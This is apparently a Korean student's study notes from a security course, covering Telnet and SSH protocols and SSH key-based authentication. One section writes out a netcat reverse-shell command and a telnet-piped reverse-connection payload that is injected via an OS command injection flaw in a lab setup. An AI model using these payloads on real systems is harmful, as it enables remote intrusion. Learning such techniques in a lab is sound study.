Telnet | SSH

1=1·2023년 12월 18일
0

SK shieldus 16

목록 보기
2/10

Telnet

: 가상 터미널 서비스를 위한 표준 TCP/IP 프로토콜 / 23번 포트

  • 로컬 시스템 처럼 나타나는 방식으로 원격 시스템에 대한 연결 설정 가능

  • 원격 장치의 IP 주소나 호스트 이름으로 텔넷을 통해 장치에 액세스하는데 도움이 됨

  • 사용자는 원격 컴퓨터의 모든 응용 프로그램에 액세스 가능

  • 인증 정책 및 데이터 암호화 기술이 사용되지 않아 보안에 큰 위협이 됨


< 공격자에게 원격으로 쉘을 열어주는 공격>

nc attacker 8282 -e /bin/bash
: netcat을 사용하여 특정호스트 (attacker)의 8282번 포트로 연결하고 연결 성공 시 /bin/bash 쉘 실행

1) nc : netcat( 네트워크 통신 수행 도구, 데이터를 읽고 쓸수 있게 해주는 유틸리티) 실행 명령어
2) attacker : 연결하려는 호스트의 이름
3) -e /bin/bash : 연결이 성공하면 지정된 명령어나 쉘을 실행하는 옵션


< Telnet Reverse Connection>

: 특정 웹사이트에 대한 텔넷 연결을 통해 쉘을 실행하는 명령어 시퀀스

  1. Kali 가상 머신에 두개의 터미널을 열어서 서비스 실행

    1) nc -l -p 8282
    2) nc -l -p 9292

  2. kali 가상 머신에 OS Command Injection 취약점을 가진 페이지에 아래 명령어를 전달 실행

www.nsa.gov | sleep 1000 | telnet attacker 8282 | /bin/bash | telnet attacker 9292

1) www.nsa.gov : 텔넷 연결을 시도할 웹사이트의 도메인 이름이 뜨는 IP 주소
2) sleep 1000 : 1000초 동안 실행을 시연시키는 명령어
3) telnet attacker 8282 : 'attacker' 라는 호스트 8282번 포트로 텔넷 연결 시도
4) /bin/bash : 텔넷 연결이 성공하면 공격자 시스템에서 /bin/bash 쉘 실행
5) telnet attacker 9292 : 새로운 텔넷 연결 시도 / attacker 시스템의 9292번 포트로 연결 시도


SSH (Secure Shell)

: 네트워크를 통해 다른 컴퓨터에 로그인하여 원격 시스템에서 명령을 실행 / 22번 포트

  • 원격지 호스트 컴퓨터에 접속하기 위해 사용하는 인터넷 프로토콜
  • 네트워크를 통해 다른 컴퓨터에 로그인 하는데 도움이 되며 원격 시스템에서 명령 실행 가능
  • 다른 프로토콜을 통한 공격으로부터 사용자 보호 불가능
  • 트로이 목마나 바이러스를 보호하지 않음

<강점>

  • 사용자 인증부터 데이터 전송까지 모든 과정이 암호화되기 때문에 보안성이 매우 높음
  • 만약 통신이 노출되더라도 이해할 수 없는 암호화된 문서로 보인다

<작동원리 핵심>

  • SSH의 핵심은 'key'이고 SSH는 이를 기반으로 통신한다고 볼 수 있다.
  • 클라이언트와 서버는 각각의 키를 보유하고 있으며 이 키를 이용해 연결 상대를 인증하고 안전하게 데이터를 주고 받는다
  • 키를 생성하는 방식
    1. 비대칭 키 (= 공개키, 개인키) : 접속 시도 시 클라이언트와 서버가 서로를 알아보기 위해 사용
    • SSH를 통해 서버로 접속을 시도하면 비대칭 키를 이용하여 인증과정을 거침 (공개키와 개인키, 묶어서 key pair)
    1. 대칭 키 : 접속이 허용된 상태에서 정보를 안전하게 주고 받기 위해 사용
    • 비대칭 키 인증 방식을 거쳐 접속이 허용되더라도 클라이언트와 서버가 정보를 안전하게 교환하기 위해서는 추가적인 암호화 과정 필요 이때 한 개의 키만을 사용하며 이를 대칭 키라고 부른다

    < SSH 접속 과정 >
  1. 서버 인증 및 세션 키 생성
    : 접속하려는 서버가 올바른 서버인지 검증하고 이후의 데이터 통신을 안전하게 진행하기 위한 세션 키 생성
    1) 접속 요청을 받은 서버는 클라이언트에게 자신의 공개키 전송
    2) 최초 접속 시 서버로부터 전달 받은 공개키를 로컬에 저장할 것인지 요청
    3) 동의하면 해당 공개키가 접속 요청을 할 때마다 서버로부터 전달 받은 공개키가 로컬에 저장되어있는 공개키와 같은 것 인지 검증하게 되며, 같다면 올바른 서버로 판단
    4) 이후로부터는 해당 서버에 접속 요청을 할 때마다 서버로부터 전달받은 공개키가 로컬에 저장되어 있는 공개키와 같은 것인지 검증하게 되며 같다면 올바른 서버로 판단
    5) 이 과정에서 데이터 통신 시 암호화 및 복호화를 위해 사용될 대칭키(=세션키)가 생성

  2. 클라이언트 인증
    : 클라이언트가 해당 서버에 대한 올바른 접근 권한을 가지고 있는지 검증하는 과정

    1) Password 인증
    : 보안상 취약하여 권장되지 않는 방식

    2) SSH 공개키 인증 (권장)
    (1) 클라이언트 측에서 Key Pair을 생성하고 서버에 공개키를 전송함
    (2) 클라이언트는 해당 서버에 접속하기 위해 사용할 Key Pair ID를 서버에 전송
    (3) 서버는 해당 ID에 매칭되는 공개키가 홈 디렉토리의 .ssh/authorized_keys 파일안에 작성 되어 있는지 검색
    (4) 존재 시 난수값을 생성하고 이를 해당 공개키로 암호화하여 클라이언트에 전송
    (5) 클라이언트는 전달받은 암호화된 난수 값을 해당 개인키로 복호화
    (6) 이후 복호화한 난수 값을 이용하여 MD5 해시값을 계산하고 이를 다시 서버에 전송
    (7) 서버도 생성했던 난수 값을 이용하여 MD5 해시값을 계싼하고 클라이언트로부터 받은 값과 같은지 검사
    (8) 같다면 올바른 클라이언트 임이 인증되어 본격적인 데이터 통신 가능

< SSH 데이터 통신 과정 >
접속 시 생성한 대칭키(= 세션키)를 이용하여 서로 데이터를 주고 받으며 통신
보낼때는 대칭키로 암호화하고 받을 때는 대칭키로 복호화
통신 종료 시(=SSH 세션이 종료되면) 해당 대칭키는 폐기되며 다시 접속 할 때마다 새로운 대칭키가 생성되어 통신에 사용




0개의 댓글